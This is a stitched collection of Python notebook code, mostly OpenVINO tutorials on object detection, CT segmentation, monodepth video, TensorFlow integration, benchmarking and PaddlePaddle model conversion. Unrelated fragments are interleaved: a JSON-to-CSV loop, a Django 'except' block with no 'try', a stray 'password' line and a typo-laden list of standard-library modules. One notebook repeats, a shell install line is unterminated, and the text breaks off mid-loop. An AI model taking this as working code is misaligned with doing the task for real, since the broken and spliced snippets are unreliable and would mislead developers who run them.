# model name as named in Open Model Zoo
model_name = "ssdlite_mobilenet_v2"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

# Convert the Model
precision = "FP16"

# output path for the conversion
converted_model_path = f"model/public/{model_name}/{precision}/{model_name}.xml"

if not os.path.exists(converted_model_path):
    convert_command = f"omz_converter " \
                      f"--name {model_name} " \
                      f"--download_dir {base_model_dir} " \
                      f"--precisions {precision}"
    ! $convert_command

# Load the Model
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=converted_model_path)
# compile the model for the CPU (you can choose manually CPU, GPU, MYRIAD etc.)
# or let the engine choose the best available device (AUTO)
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input and output nodes
input_layer = compiled_model.input(0)
output_layer = compiled_model.output(0)

# get input size
height, width = list(input_layer.shape)[1:3]

# Process Results
# https://tech.amikelive.com/node-718/what-object-categories-labels-are-in-coco-dataset/
classes = [
    "background", "person", "bicycle", "car", "motorcycle", "airplane", "bus", "train",
    "truck", "boat", "traffic light", "fire hydrant", "street sign", "stop sign",
    "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow", "elephant",
    "bear", "zebra", "giraffe", "hat", "backpack", "umbrella", "shoe", "eye glasses",
    "handbag", "tie", "suitcase", "frisbee", "skis", "snowboard", "sports ball", "kite",
    "baseball bat", "baseball glove", "skateboard", "surfboard", "tennis racket", "bottle",
    "plate", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple",
    "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair",
    "couch", "potted plant", "bed", "mirror", "dining table", "window", "desk", "toilet",
    "door", "tv", "laptop", "mouse", "remote", "keyboard", "cell phone", "microwave", "oven",
    "toaster", "sink", "refrigerator", "blender", "book", "clock", "vase", "scissors",
    "teddy bear", "hair drier", "toothbrush", "hair brush"
]

# colors for above classes (Rainbow Color Map)
colors = cv2.applyColorMap(
    src=np.arange(0, 255, 255 / len(classes), dtype=np.float32).astype(np.uint8),
    colormap=cv2.COLORMAP_RAINBOW,
).squeeze()


def process_results(frame, results, thresh=0.6):
    # size of the original frame
    h, w = frame.shape[:2]
    # results is a tensor [1, 1, 100, 7]
    results = results.squeeze()
    boxes = []
    labels = []
    scores = []
    for _, label, score, xmin, ymin, xmax, ymax in results:
        # create a box with pixels coordinates from the box with normalized coordinates [0,1]
        boxes.append(
            tuple(map(int, (xmin * w, ymin * h, (xmax - xmin) * w, (ymax - ymin) * h)))
        )
        labels.append(int(label))
        scores.append(float(score))

    # apply non-maximum suppression to get rid of many overlapping entities
    # see https://paperswithcode.com/method/non-maximum-suppression
    # this algorithm returns indices of objects to keep
    indices = cv2.dnn.NMSBoxes(
        bboxes=boxes, scores=scores, score_threshold=thresh, nms_threshold=0.6
    )

    # if there are no boxes
    if len(indices) == 0:
        return []

    # filter detected objects
    return [(labels[idx], scores[idx], boxes[idx]) for idx in indices.flatten()]


def draw_boxes(frame, boxes):
    for label, score, box in boxes:
        # choose color for the label
        color = tuple(map(int, colors[label]))
        # draw box
        x2 = box[0] + box[2]
        y2 = box[1] + box[3]
        cv2.rectangle(img=frame, pt1=box[:2], pt2=(x2, y2), color=color, thickness=3)

        # draw label name inside the box
        cv2.putText(
            img=frame,
            text=f"{classes[label]} {score:.2f}",
            org=(box[0] + 10, box[1] + 30),
            fontFace=cv2.FONT_HERSHEY_COMPLEX,
            fontScale=frame.shape[1] / 1000,
            color=color,
            thickness=1,
            lineType=cv2.LINE_AA,
        )

    return frame

# Main Processing Function
# main processing function to run object detection
def run_object_detection(source=0, flip=False, use_popup=False, skip_first_frames=0):
    player = None
    try:
        # create video player to play with target fps
        player = utils.VideoPlayer(
            source=source, flip=flip, fps=30, skip_first_frames=skip_first_frames
        )
        # start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(
                winname=title, flags=cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE
            )

        processing_times = collections.deque()
        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(
                    src=frame,
                    dsize=None,
                    fx=scale,
                    fy=scale,
                    interpolation=cv2.INTER_AREA,
                )

            # resize image and change dims to fit neural network input
            input_img = cv2.resize(
                src=frame, dsize=(width, height), interpolation=cv2.INTER_AREA
            )
            # create batch of images (size = 1)
            input_img = input_img[np.newaxis, ...]

            # measure processing time

            start_time = time.time()
            # get results
            results = compiled_model([input_img])[output_layer]
            stop_time = time.time()
            # get poses from network results
            boxes = process_results(frame=frame, results=results)

            # draw boxes on a frame
            frame = draw_boxes(frame=frame, boxes=boxes)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()

            _, f_width = frame.shape[:2]
            # mean processing time [ms]
            processing_time = np.mean(processing_times) * 1000
            fps = 1000 / processing_time
            cv2.putText(
                img=frame,
                text=f"Inference time: {processing_time:.1f}ms ({fps:.1f} FPS)",
                org=(20, 40),
                fontFace=cv2.FONT_HERSHEY_COMPLEX,
                fontScale=f_width / 1000,
                color=(0, 0, 255),
                thickness=1,
                lineType=cv2.LINE_AA,
            )

            # use this workaround if there is flickering
            if use_popup:
                cv2.imshow(winname=title, mat=frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                _, encoded_img = cv2.imencode(
                    ext=".jpg", img=frame, params=[cv2.IMWRITE_JPEG_QUALITY, 100]
                )
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live Object Detection
run_object_detection(source=0, flip=True, use_popup=False)

# Run Object Detection on a Video File
video_file = "../201-vision-monodepth/data/Coco Walking in Berkeley.mp4"

run_object_detection(source=video_file, flip=False, use_popup=False)
# Imports
import os
import sys
import zipfile
from pathlib import Path

import numpy as np
from monai.transforms import LoadImage
from openvino.inference_engine import IECore

sys.path.append("../utils")
from models.custom_segmentation import SegmentationModel
from notebook_utils import benchmark_model, download_file, show_live_inference

# Settings
# The directory that contains the IR model (xml and bin) files
MODEL_PATH = "pretrained_model/quantized_unet_kits19.xml"
# Uncomment the next line to use the FP16 model instead of the quantized model
# MODEL_PATH = "pretrained_model/unet_kits19.xml"

# Benchmark Model Performance
ie = IECore()
# By default, benchmark on MULTI:CPU,GPU if a GPU is available, otherwise on CPU.
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
# Uncomment one of the options below to benchmark on other devices
# device = "GPU"
# device = "CPU"
# device = "AUTO"

# Benchmark model
benchmark_model(model_path=MODEL_PATH, device=device, seconds=15)

# Download and Prepare Data
# Directory that contains the CT scan data. This directory should contain subdirectories
# case_00XXX where XXX is between 000 and 299
BASEDIR = Path("kits19_frames_1")
# The CT scan case number. For example: 16 for data from the case_00016 directory
# Currently only 117 is supported
CASE = 117

case_path = BASEDIR / f"case_{CASE:05d}"

if not case_path.exists():
    filename = download_file(
        f"https://storage.openvinotoolkit.org/data/test_data/openvino_notebooks/kits19/case_{CASE:05d}.zip"
    )
    with zipfile.ZipFile(filename, "r") as zip_ref:
        zip_ref.extractall(path=BASEDIR)
    os.remove(filename)  # remove zipfile
    print(f"Downloaded and extracted data for case_{CASE:05d}")
else:
    print(f"Data for case_{CASE:05d} exists")

# Load model
ie = IECore()
segmentation_model = SegmentationModel(
    ie=ie, model_path=Path(MODEL_PATH), sigmoid=True, rotate_and_flip=True
)
image_paths = sorted(case_path.glob("imaging_frames/*jpg"))

print(f"{case_path.name}, {len(image_paths)} images")

# Show Live Inference
# Possible options for device include "CPU", "GPU", "AUTO", "MULTI"
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
reader = LoadImage(image_only=True, dtype=np.uint8)

show_live_inference(
    ie=ie, image_paths=image_paths, model=segmentation_model, device=device, reader=reader
)
# Preparation
# Imports
import sys
import time
from pathlib import Path

import cv2
import matplotlib.cm
import matplotlib.pyplot as plt
import numpy as np
from IPython.display import (
    HTML,
    FileLink,
    Pretty,
    ProgressBar,
    Video,
    clear_output,
    display,
)
from openvino.runtime import Core

sys.path.append("../utils")
from notebook_utils import load_image

# Settings
DEVICE = "CPU"
MODEL_FILE = "model/MiDaS_small.xml"

model_xml_path = Path(MODEL_FILE)

# Functions
def normalize_minmax(data):
    """Normalizes the values in `data` between 0 and 1"""
    return (data - data.min()) / (data.max() - data.min())


def convert_result_to_image(result, colormap="viridis"):
    """
    Convert network result of floating point numbers to an RGB image with
    integer values from 0-255 by applying a colormap.

    `result` is expected to be a single network result in 1,H,W shape
    `colormap` is a matplotlib colormap.
    See https://matplotlib.org/stable/tutorials/colors/colormaps.html
    """
    cmap = matplotlib.cm.get_cmap(colormap)
    result = result.squeeze(0)
    result = normalize_minmax(result)
    result = cmap(result)[:, :, :3] * 255
    result = result.astype(np.uint8)
    return result


def to_rgb(image_data) -> np.ndarray:
    """
    Convert image_data from BGR to RGB
    """
    return cv2.cvtColor(image_data, cv2.COLOR_BGR2RGB)

# Load the Model
ie = Core()
model = ie.read_model(model=model_xml_path, weights=model_xml_path.with_suffix(".bin"))
compiled_model = ie.compile_model(model=model, device_name=DEVICE)

input_key = compiled_model.input(0)
output_key = compiled_model.output(0)

network_input_shape = list(input_key.shape)
network_image_height, network_image_width = network_input_shape[2:]

# Load, resize and reshape input image
IMAGE_FILE = "data/coco_bike.jpg"
image = load_image(path=IMAGE_FILE)

# resize to input shape for network
resized_image = cv2.resize(src=image, dsize=(network_image_height, network_image_width))

# reshape image to network input shape NCHW
input_image = np.expand_dims(np.transpose(resized_image, (2, 0, 1)), 0)

# Do inference on image
result = compiled_model([input_image])[output_key]

# convert network result of disparity map to an image that shows
# distance as colors
result_image = convert_result_to_image(result=result)

# resize back to original image shape. cv2.resize expects shape
# in (width, height), [::-1] reverses the (height, width) shape to match this
result_image = cv2.resize(result_image, image.shape[:2][::-1])

# Display monodepth image
fig, ax = plt.subplots(1, 2, figsize=(20, 15))
ax[0].imshow(to_rgb(image))
ax[1].imshow(result_image);

# Video Settings
# Video source: https://www.youtube.com/watch?v=fu1xcQdJRws (Public Domain)
VIDEO_FILE = "data/Coco Walking in Berkeley.mp4"
# Number of seconds of input video to process. Set to 0 to process
# the full video.
NUM_SECONDS = 4
# Set ADVANCE_FRAMES to 1 to process every frame from the input video
# Set ADVANCE_FRAMES to 2 to process every second frame. This reduces
# the time it takes to process the video
ADVANCE_FRAMES = 2
# Set SCALE_OUTPUT to reduce the size of the result video
# If SCALE_OUTPUT is 0.5, the width and height of the result video
# will be half the width and height of the input video
SCALE_OUTPUT = 0.5
# The format to use for video encoding. vp09 is slow,
# but it works on most systems.
# Try the THEO encoding if you have FFMPEG installed.
# FOURCC = cv2.VideoWriter_fourcc(*"THEO")
FOURCC = cv2.VideoWriter_fourcc(*"vp09")

# Create Path objects for the input video and the resulting video
output_directory = Path("output")
output_directory.mkdir(exist_ok=True)
result_video_path = output_directory / f"{Path(VIDEO_FILE).stem}_monodepth.mp4"

# Load Video
cap = cv2.VideoCapture(str(VIDEO_FILE))
ret, image = cap.read()
if not ret:
    raise ValueError(f"The video at {VIDEO_FILE} cannot be read.")
input_fps = cap.get(cv2.CAP_PROP_FPS)
input_video_frame_height, input_video_frame_width = image.shape[:2]

target_fps = input_fps / ADVANCE_FRAMES
target_frame_height = int(input_video_frame_height * SCALE_OUTPUT)
target_frame_width = int(input_video_frame_width * SCALE_OUTPUT)

cap.release()
print(
    f"The input video has a frame width of {input_video_frame_width}, "
    f"frame height of {input_video_frame_height} and runs at {input_fps:.2f} fps"
)
print(
    "The monodepth video will be scaled with a factor "
    f"{SCALE_OUTPUT}, have width {target_frame_width}, "
    f" height {target_frame_height}, and run at {target_fps:.2f} fps"
)

# Do Inference on a Video and Create Monodepth Video
# Initialize variables
input_video_frame_nr = 0
start_time = time.perf_counter()
total_inference_duration = 0

# Open input video
cap = cv2.VideoCapture(str(VIDEO_FILE))

# Create result video
out_video = cv2.VideoWriter(
    str(result_video_path),
    FOURCC,
    target_fps,
    (target_frame_width * 2, target_frame_height),
)

num_frames = int(NUM_SECONDS * input_fps)
total_frames = cap.get(cv2.CAP_PROP_FRAME_COUNT) if num_frames == 0 else num_frames
progress_bar = ProgressBar(total=total_frames)
progress_bar.display()

try:
    while cap.isOpened():
        ret, image = cap.read()
        if not ret:
            cap.release()
            break

        if input_video_frame_nr >= total_frames:
            break

        # Only process every second frame
        # Prepare frame for inference
        # resize to input shape for network
        resized_image = cv2.resize(src=image, dsize=(network_image_height, network_image_width))
        # reshape image to network input shape NCHW
        input_image = np.expand_dims(np.transpose(resized_image, (2, 0, 1)), 0)

        # Do inference
        inference_start_time = time.perf_counter()
        result = compiled_model([input_image])[output_key]
        inference_stop_time = time.perf_counter()
        inference_duration = inference_stop_time - inference_start_time
        total_inference_duration += inference_duration

        if input_video_frame_nr % (10 * ADVANCE_FRAMES) == 0:
            clear_output(wait=True)
            progress_bar.display()
            # input_video_frame_nr // ADVANCE_FRAMES gives the number of
            # frames that have been processed by the network
            display(
                Pretty(
                    f"Processed frame {input_video_frame_nr // ADVANCE_FRAMES}"
                    f"/{total_frames // ADVANCE_FRAMES}. "
                    f"Inference time per frame: {inference_duration:.2f} seconds "
                    f"({1/inference_duration:.2f} FPS)"
                )
            )

        # Transform network result to RGB image
        result_frame = to_rgb(convert_result_to_image(result))
        # Resize image and result to target frame shape
        result_frame = cv2.resize(result_frame, (target_frame_width, target_frame_height))
        image = cv2.resize(image, (target_frame_width, target_frame_height))
        # Put image and result side by side
        stacked_frame = np.hstack((image, result_frame))
        # Save frame to video
        out_video.write(stacked_frame)

        input_video_frame_nr = input_video_frame_nr + ADVANCE_FRAMES
        cap.set(1, input_video_frame_nr)

        progress_bar.progress = input_video_frame_nr
        progress_bar.update()

except KeyboardInterrupt:
    print("Processing interrupted.")
finally:
    clear_output()
    processed_frames = num_frames // ADVANCE_FRAMES
    out_video.release()
    cap.release()
    end_time = time.perf_counter()
    duration = end_time - start_time

    print(
        f"Processed {processed_frames} frames in {duration:.2f} seconds. "
        f"Total FPS (including video processing): {processed_frames/duration:.2f}."
        f"Inference FPS: {processed_frames/total_inference_duration:.2f} "
    )
    print(f"Monodepth Video saved to '{str(result_video_path)}'.")

# Display Monodepth Video
video = Video(result_video_path, width=800, embed=True)
if not result_video_path.exists():
    plt.imshow(stacked_frame)
    raise ValueError("OpenCV was unable to write the video file. Showing one video frame.")
else:
    print(f"Showing monodepth video saved at\n{result_video_path.resolve()}")
    print(
        "If you cannot see the video in your browser, please click on the "
        "following link to download the video "
    )
    video_link = FileLink(result_video_path)
    video_link.html_link_str = "<a href='%s' download>%s</a>"
    display(HTML(video_link._repr_html_()))
    display(video)
# Upload the required wheel files, models and images in a google drive folder
# Uncomment and run the below command to copy them in your current workspace
#!cp /content/drive/MyDrive/TF-OV/working_dir_files/* . 

import os

# Enable these variables for runtime inference optimizations
os.environ["OPENVINO_TF_CONVERT_VARIABLES_TO_CONSTANTS"] = "1"
os.environ["TF_ENABLE_ONEDNN_OPTS"] = "1"

!python3 -m pip install --upgrade pip
!python3 -m pip -q install pillow
!python3 -m pip -q install -U tensorflow_hub

# Install TensorFlow (v2.8.0) and OpenVINO-TensorFlow (v2.0.0) only if they aren't found
!if python3 -c "import tensorflow"; then echo "Found TensorFlow. Skipping."; else echo "TensorFlow Not Found. Installing."; python3 -m pip -q install tensorflow==2.8.0; fi
!if python3 -c "import openvino_tensorflow"; then echo "Found OpenVINO-TensorFlow. Skipping."; else echo "OpenVINO-TensorFlow Not Found. Installing.";

# Now let's infer
from __future__ import absolute_import, division, print_function, unicode_literals
from IPython.display import HTML

import numpy as np
import tensorflow as tf
import openvino_tensorflow as ovtf
import tensorflow_hub as hub

from PIL import Image
import time

def preprocess_image(file_name,
               input_height=299,
               input_width=299,
               input_mean=0,
               input_std=255):
    """Reads input image file, resizes it to given input height and width
       and returns the pre-processed image
    """  
    image = Image.open(file_name)
    resized_image = image.resize((input_height,input_width))
    resized_image = np.asarray(resized_image, np.float32)
    normalized_image = (resized_image - input_mean) / input_std
    result = np.expand_dims(normalized_image, 0)
    return result

def load_labels(label_file):
    """Parses the label file, assuming that labels are separated with a newline
       in the file and returns the list of labels.
    """  
    label = []
    proto_as_ascii_lines = tf.io.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def infer_openvino_tensorflow(model_file, file_name , input_height, input_width, input_mean, input_std, label_file):
    """Takes the tensorflow model and all other input parameters as arguments. 
       Runs inference with the classification model and prints the predictions.
    """
    print("CREATE MODEL - BEGIN")
    if model_file=="":
        model = hub.load("https://tfhub.dev/google/imagenet/inception_v3/classification/4")
    else:
        model = tf.saved_model.load(model_file)
    print("CREATE MODEL - END")

    print("PREDICTION - BEGIN") 

    img =  tf.convert_to_tensor(preprocess_image(
            file_name, input_height=input_height, input_width=input_width, input_mean=input_mean, input_std=input_std))

    # Warmup
    results = model(img)
    # Run
    
    for num_times in range(10):
        start = time.time()
        results = model(img)
        elapsed = time.time() - start
        print('Inference time in ms: %f' % (elapsed * 1000))
            
    print("PREDICTION - END")
    results = tf.nn.softmax(results).numpy()
    
    if label_file:
        top_5 = tf.argsort(results, axis=-1, direction="DESCENDING")[0][:5].numpy()
        labels = load_labels(label_file)
        for i,item in enumerate(top_5):
            print(labels[item], results[0][top_5][i])
    else:
        print("No label file provided. Cannot print classification results")

# Set all the parameters needed for inference
# Enable OpenVINO™ integration with TensorFlow, and set Backend in just a few simple lines of code to boost performace
#Infer the input image
# Output the top 5 predicted classes, and the inference time with OpenVINO™ integration with TensorFlow enabled

file_name = tf.keras.utils.get_file(
    'grace_hopper.jpg',
    "https://www.tensorflow.org/images/grace_hopper.jpg")
model_file = ""
label_file = tf.keras.utils.get_file(
    'ImageNetLabels.txt',
    'https://storage.googleapis.com/download.tensorflow.org/data/ImageNetLabels.txt')
input_height = 299
input_width = 299
input_mean = 0
input_std = 255
backend_name = "CPU"
    

#Print list of available backends
print('Available Backends:')
backends_list = ovtf.list_backends()
for backend in backends_list:
    print(backend)
ovtf.set_backend(backend_name)

print("OpenVINO TensorFlow is enabled")
infer_openvino_tensorflow(model_file, file_name, input_height, input_width, input_mean, input_std, label_file)

# Disable OpenVINO™ integration with TensorFlow to gauge the achieved performance boost
# Infer the input image again
# Output the top 5 predicted classes, and the inference time with OpenVINO™ integration with TensorFlow disabled

ovtf.disable() ## Disabling OVTF
print("OpenVINO TensorFlow is disabled")
infer_openvino_tensorflow(model_file, file_name, input_height, input_width, input_mean, input_std, label_file )
ovtf.enable()
import os
import pandas as pd

# Get the list of json files, which are in the folder:   
str_address = r"/media/New Volume/a3d/pdb/json_parser/"
lst_files = [i for i in os.listdir(str_address) if i.endswith(".json")]

# Loop through the json files
for file_ in lst_files: 
    df = pd.read_json(str_address + file_)
    df.to_csv(str_address+ file_+ ".txt", index = False)
from django.db import IntegrityError

except IntegrityError as e: 
    if 'unique constraint' in e.message: # or e.args[0] from Django 1.10
        #do something
password=(0004)
print(password)          
            
1.  abc				- This tiny module delivers the environment you need for creating abstract base classes
2.  argparse		- This module contains tools that make it easier to create user-friendly interfaces from the level of the command line
3.  asyncio			- This is a very large module that delivers the framework and environment for asynchronous programming
4.  base64			- This well-known module delivers a tool for coding and decoding binary code into a format that can be displayed – and 
					  the other way round
5.  collections		- This module offers specialized container data types that work as an alternative to basic contained types for general
					  purposes such as dict, list, set, and tuple.
6.  copy			- Everyone uses this tiny module that contains tools for deep copying of container type data. Its most famous function is `deepcopy` – if not for this function, copying lists and dictionaries would become a torture for developers.
7.  csv				- Delivers functionalities for exporting and importing tabular data in CSV format. The module allows developers to say “load data” or “save data” from to a CSV file.
8.  datetime		- It delivers tools that make it easier to work with dates and times
9.  decimal 		- The module delivers a data type called Decimal. Its main advantage is correct rounding of decimal numbers which is extremely important in billing systems– even
					  a slight distortion with several hundred thousand operations can change the final result significantly
10. functools		- The functools module comes in handy for higher-order functions, ie. the functions that act on or return other functions. You can treat any callable 
					  object as a function for the purposes of this module.
11. hashlib			- his handy module implements a common interface to numerous secure hash and message digest algorithms like the FIPS 
					  secure hash algorithms SHA1, SHA224, SHA256, SHA384, and SHA512
12. http			- his package collects several modules for working with the HyperText Transfer Protocol 
13. importlib 		- The package provides the implementation of the import statement (and the __import__() function) in Python source code
14. itertools		- This useful module implements iterator building blocks inspired by constructs 
					  from APL, Haskell, and SML (all in a form that matches Python programs)
15. inspect 		- The module offers several useful functions that help developers get information about live objects such as 
					  modules, classes, methods, functions, tracebacks, frame objects, and code objects in Python code
16. json			- Helps to work with json data
17. logging			- This module defines functions and classes that provide a flexible event logging system for applications and libraries
18. math			- This module gives developers access to the mathematical functions defined by the C standard
19. multiprocessing	- This handy package supports spawning processes with the help of an API similar to the threading module
20. os				- Offers a portable method of using operating system dependent functionality.
21. pdb				- This module defines an interactive source code debugger
22. random			- pseudo-random number generators for various distributions
23. re				- Provides regular expression matching operations similar to those you get in Perl
24. shutil			- Provides a number of high-level operations on files and collections of files, especially functions that 
					  support file copying and removal
25. sys				- offers access to variables used or maintained by the interpreter and functions that interact strongly 
					  with the interpreter
26. threading		- This useful module builds higher-level threading interfaces on top of the lower level _thread module
27. types			- It defines names for object types used by the standard Python interpreter but not exposed as builtins
28. unittest		- Works similarly to major unit testing frameworks in other programming languages
29. urllib			- This handy package collects several modules for working with URLs
30. uuid			- The module provides immutable UUID objects, as well as the following functions for generating version 1, 3, 4, and 5 UUIDs
# Imports
import os
import sys
import zipfile
from pathlib import Path

import numpy as np
from monai.transforms import LoadImage
from openvino.inference_engine import IECore

sys.path.append("../utils")
from models.custom_segmentation import SegmentationModel
from notebook_utils import benchmark_model, download_file, show_live_inference

# Settings
# The directory that contains the IR model (xml and bin) files
MODEL_PATH = "pretrained_model/quantized_unet_kits19.xml"
# Uncomment the next line to use the FP16 model instead of the quantized model
# MODEL_PATH = "pretrained_model/unet_kits19.xml"

# Benchmark Model Performance
ie = IECore()
# By default, benchmark on MULTI:CPU,GPU if a GPU is available, otherwise on CPU.
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
# Uncomment one of the options below to benchmark on other devices
# device = "GPU"
# device = "CPU"
# device = "AUTO"

# Benchmark model
benchmark_model(model_path=MODEL_PATH, device=device, seconds=15)

# Download and Prepare Data
# Directory that contains the CT scan data. This directory should contain subdirectories
# case_00XXX where XXX is between 000 and 299
BASEDIR = Path("kits19_frames_1")
# The CT scan case number. For example: 16 for data from the case_00016 directory
# Currently only 117 is supported
CASE = 117

case_path = BASEDIR / f"case_{CASE:05d}"

if not case_path.exists():
    filename = download_file(
        f"https://storage.openvinotoolkit.org/data/test_data/openvino_notebooks/kits19/case_{CASE:05d}.zip"
    )
    with zipfile.ZipFile(filename, "r") as zip_ref:
        zip_ref.extractall(path=BASEDIR)
    os.remove(filename)  # remove zipfile
    print(f"Downloaded and extracted data for case_{CASE:05d}")
else:
    print(f"Data for case_{CASE:05d} exists")

# Load Model and List of Image Files
ie = IECore()
segmentation_model = SegmentationModel(
    ie=ie, model_path=Path(MODEL_PATH), sigmoid=True, rotate_and_flip=True
)
image_paths = sorted(case_path.glob("imaging_frames/*jpg"))

print(f"{case_path.name}, {len(image_paths)} images")

# Show Inference
# Possible options for device include "CPU", "GPU", "AUTO", "MULTI"
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
reader = LoadImage(image_only=True, dtype=np.uint8)

show_live_inference(
    ie=ie, image_paths=image_paths, model=segmentation_model, device=device, reader=reader
)
# Preparation
model_name = "mobilenet-v2-pytorch"

# Imports
import json
import sys
from pathlib import Path

from IPython.display import Markdown, display
from openvino.runtime import Core

sys.path.append("../utils")
from notebook_utils import DeviceNotFoundAlert, NotebookAlert

# Settings and Configuration
base_model_dir = Path("~/open_model_zoo_models").expanduser()
omz_cache_dir = Path("~/open_model_zoo_cache").expanduser()
precision = "FP16"

# Check if an iGPU is available on this system to use with Benchmark App
ie = Core()
gpu_available = "GPU" in ie.available_devices

print(
    f"base_model_dir: {base_model_dir}, omz_cache_dir: {omz_cache_dir}, gpu_availble: {gpu_available}"
)

# Download Model from Open Model Zoo
download_command = (
    f"omz_downloader --name {model_name} --output_dir {base_model_dir} --cache_dir {omz_cache_dir}"
)
display(Markdown(f"Download command: `{download_command}`"))
display(Markdown(f"Downloading {model_name}..."))
! $download_command

# Convert Model to OpenVINO IR format
convert_command = f"omz_converter --name {model_name} --precisions {precision} --download_dir {base_model_dir} --output_dir {base_model_dir}"
display(Markdown(f"Convert command: `{convert_command}`"))
display(Markdown(f"Converting {model_name}..."))

! $convert_command

# Get Model Information
model_info_output = %sx omz_info_dumper --name $model_name
model_info = json.loads(model_info_output.get_nlstr())

if len(model_info) > 1:
    NotebookAlert(
        f"There are multiple IR files for the {model_name} model. The first model in the "
        "omz_info_dumper output will be used for benchmarking. Change "
        "`selected_model_info` in the cell below to select a different model from the list.",
        "warning",
    )

model_info

selected_model_info = model_info[0]
model_path = (
    base_model_dir
    / Path(selected_model_info["subdirectory"])
    / Path(f"{precision}/{selected_model_info['name']}.xml")
)
print(model_path, "exists:", model_path.exists())

benchmark_command = f"benchmark_app -m {model_path} -t 15"
display(Markdown(f"Benchmark command: `{benchmark_command}`"))
display(Markdown(f"Benchmarking {model_name} on CPU with async inference for 15 seconds..."))

! $benchmark_command

# Benchmark with Different Settings
def benchmark_model(model_xml, device="CPU", seconds=60, api="async", batch=1):
    ie = Core()
    model_path = Path(model_xml)
    if ("GPU" in device) and ("GPU" not in ie.available_devices):
        DeviceNotFoundAlert("GPU")
    else:
        benchmark_command = f"benchmark_app -m {model_path} -d {device} -t {seconds} -api {api} -b {batch}"
        display(Markdown(f"**Benchmark {model_path.name} with {device} for {seconds} seconds with {api} inference**"))
        display(Markdown(f"Benchmark command: `{benchmark_command}`"))

        benchmark_output = %sx $benchmark_command
        print("command ended")
        benchmark_result = [line for line in benchmark_output
                            if not (line.startswith(r"[") or line.startswith("  ") or line == "")]
        print("\n".join(benchmark_result))

ie = Core()

# Show devices available for OpenVINO Inference Engine
for device in ie.available_devices:
    device_name = ie.get_property(device, "FULL_DEVICE_NAME")
    print(f"{device}: {device_name}")

benchmark_model(model_path, device="CPU", seconds=15, api="async")

benchmark_model(model_path, device="AUTO", seconds=15, api="async")

benchmark_model(model_path, device="GPU", seconds=15, api="async")

benchmark_model(model_path, device="MULTI:CPU,GPU", seconds=15, api="async")
# Imports
import os
import time

import cv2
import matplotlib.pyplot as plt
import numpy as np
import paddlehub as hub
from IPython.display import Markdown, display
from PIL import Image
from openvino.runtime import Core
from paddle.static import InputSpec
from scipy.special import softmax

# Settings
IMAGE_FILENAME = "coco_close.png"

MODEL_NAME = "mobilenet_v3_large_imagenet_ssld"
hub.config.server = "https://paddlepaddle.org.cn/paddlehub"

# Show Inference on PaddlePaddle Model
classifier = hub.Module(name=MODEL_NAME)

# Load image in BGR format, as specified in model documentation
image = cv2.imread(filename=IMAGE_FILENAME)
plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
result = classifier.classification(images=[image], top_k=3)
for class_name, softmax_probability in result[0].items():
    print(f"{class_name}, {softmax_probability:.5f}")

from mobilenet_v3_large_imagenet_ssld.data_feed import process_image

pil_image = Image.open(IMAGE_FILENAME)
processed_image = process_image(pil_image)
print(f"Processed image shape: {processed_image.shape}")
# Processed image is in (C,H,W) format, convert to (H,W,C) to show the image
plt.imshow(np.transpose(processed_image, (1, 2, 0)))

# Preparation
input_shape = list(classifier.cpu_predictor.get_input_tensor_shape().values())
print("input shape:", input_shape)
print("mean:", classifier.get_pretrained_images_mean())
print("std:", classifier.get_pretrained_images_std())

# Convert PaddlePaddle Model to ONNX
target_height, target_width = next(iter(input_shape))[2:]
x_spec = InputSpec([1, 3, target_height, target_width], "float32", "x")
print(
    "Exporting PaddlePaddle model to ONNX with target_height "
    f"{target_height} and target_width {target_width}"
)
classifier.export_onnx_model(".", input_spec=[x_spec], opset_version=11)

# Convert ONNX model to OpenVINO IR Format
model_xml = f"{MODEL_NAME}.xml"
if not os.path.exists(model_xml):
    mo_command = f'mo --input_model {MODEL_NAME}.onnx --input_shape "[1,3,{target_height},{target_width}]"'
    display(Markdown(f"Model Optimizer command to convert the ONNX model to IR: `{mo_command}`"))
    display(Markdown("_Converting model to IR. This may take a few minutes..._"))
    ! $mo_command
else:
    print(f"{model_xml} already exists.")

# Show Inference on OpenVINO Model
# Load Inference Engine and IR model
ie = Core()
model = ie.read_model(model=f"{MODEL_NAME}.xml", weights=f"{MODEL_NAME}.bin")
compiled_model = ie.compile_model(model=model, device_name="CPU")

# Get model output
output_layer = compiled_model.output(0)

# Read, show, and preprocess input image
# See the "Show Inference on PaddlePaddle Model" section for source of process_image
image = Image.open(IMAGE_FILENAME)
plt.imshow(image)
input_image = process_image(image)[None,]

# Do inference
ie_result = compiled_model([input_image])[output_layer][0]

# Compute softmax probabilities for the inference result and find the top three values
softmax_result = softmax(ie_result)
top_indices = np.argsort(softmax_result)[-3:][::-1]
top_softmax = softmax_result[top_indices]

# Convert the inference results to class names, using the same labels as the PaddlePaddle classifier
for index, softmax_probability in zip(top_indices, top_softmax):
